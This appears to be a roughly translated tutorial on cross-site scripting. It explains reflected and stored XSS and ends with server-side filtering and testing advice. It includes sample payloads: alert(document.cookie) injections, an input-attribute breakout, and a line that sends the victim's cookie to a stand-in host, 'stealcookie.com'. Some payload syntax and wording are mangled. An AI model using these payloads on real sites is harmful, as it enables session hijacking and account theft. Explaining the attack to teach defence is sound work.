The Cross site scripting (abbreviated XSS to avoid confusion with the CSS), is one of the most common attacks in the Internet world today. It is about manipulating data from a private user without his knowledge.
XSS is a mechanism that involves a hacker, a client (a user) and a website. In general, XSS issue is related to the theft of cookie and session identifier, among others. XSS can set down completely a site by manipulating it through the inside. Indeed, once the session token is in the possession of an attacker, he can pretends to be someone else and then accesses users or third party accounts.
There are three different types of XSS attacks, but generally all work the same way: a malicious JavaScript code is executed in the local environment of the victim, often unwittingly, to recover login information or run scripts with local rights.
Most modern browsers have javascript enabled natively, and most modern websites accept that the user can format a text before sending it, with various tags. These are the two major causes of the proliferation of XSS vulnerabilities on the Internet.
Technical overview
We'll see how this is technically possible. XSS attacks occurs when the site uses data sent from the outside without first validation nore refinement. Let's take the follwong site http://www.mysite.com, and assume that this site displays the contents of a GET variable, to say hello.
For example:
GET / index.php?name=The%20pirate HTTP/1.1
Host: www.mysite.com
...
The answer will be:
<html>
<title> Hello </ title>
The pirate <br>
Welcome!
...
</html>
It is very easy to abuse this situation. Note that XSS does not work on the server, but on customer side like this:
http://www.mysite.com/index.php?name=<script> = alert (document.cookie) </ script>
The answer will be:
<html>
<title> Hello </ title>
<script> alert (document.cookie) </ script> <br>
Welcome!
...
</html>
... by revealing the cookies that the victim has on www.mysite.com, because JavaScript can access only the cookies field. Of course, a real attack will not view the cookies, but will redirect it for further use in this way for example:
http://www.mysite.com/index.php?name <script> = window.open ("http://www.stealcookie.com/collect.php?cookie="%2Bdocument.cookie) </ script>
And of course, the page collect.php saves valuable information in the cookie, including the session ID of the site www.mysite.com if it is present.
We've come a Cross Site Scripting, a script that exchanges data between multiple domains, which is dangerous ...
Of course, the attacker must take his victim on the page in question, to run the script in its environment. So often, in one email that you are invited to discover a "super gift" mail in html format. Also, an attacker can hide on his website a link to an image that is not one, but in reality another resource exploiting a XSS.
JavaScript can also access the DOM of the page, so why not change the destinations of the forms component in order to send the information entered to a pirate site collecting them.
In our example we go through a GET, but it is possible to use POST, and even the header such as the HTTP Referer. Also, it's not just the <script> tag works, but a state of tips like by example, injecting like this:
<input type="text" name="user" value="...">
If the value of "value" is
"> <script> Alert (document.cookie) </ script>
Then the result is transformed into an XSS:
<input type="text" name="user" value=""> <script> alert (document.cookie) </ script> ">
There are even hints that aim to write the word "javascript" on two lines, and, worst of all is the use of coding different RSnake persona.
Note that for permanent XSS attacks, the malicious code may be stored on the site's database for example, and therefore helping each query page bomb.
Safety and protection against XSS
If you want to be 100% sure of not being vulnerable to XSS as a customer, we will disable JavaScript. But we may then not be able to enjoy a wide range of branded site "web 2.0", using plenty of client side coding.
On the server side, a secure script should analyze the data values and ensure they do not contain meta characters specific tag scripts ... altogether or convert all HTML entities, but at that time making it impossible to format rendered text. Therefore set up custom filters that will scan the output data, before posting. Each page should display correctly analyzed inputs, and filtered.
Some firewalls can also analyze the traffic and block certain XSS.
To test whether a site is vulnerable to XSS, the manual method is still required (although complex to assume). Supported by automated tools, this is broadly to include <script> alert (document.cookie) </ script> in all variables of the application.
Obviously, this is not enough for 100% insurance because the javascript can be inserted into the HTTP header or in the path of the URL etc ...
Keep in mind that we have here demonstrated "the principle". You can now imagine how pirates are cunning and clever, but above all try to be very discreet. They can sometimes write over 1000 lines of code which 998 lines are written to encode two lines representing the XSS itself. With XSS, users does notice absolutely nothing. Hackers do not hesitate to take advantage of any vulnerability including within the browsers themselves where many loopholes exist.
Internet surfing does not necessarily mean an updated browser. This harder on the other side of the fence, the developer task to master the client environment.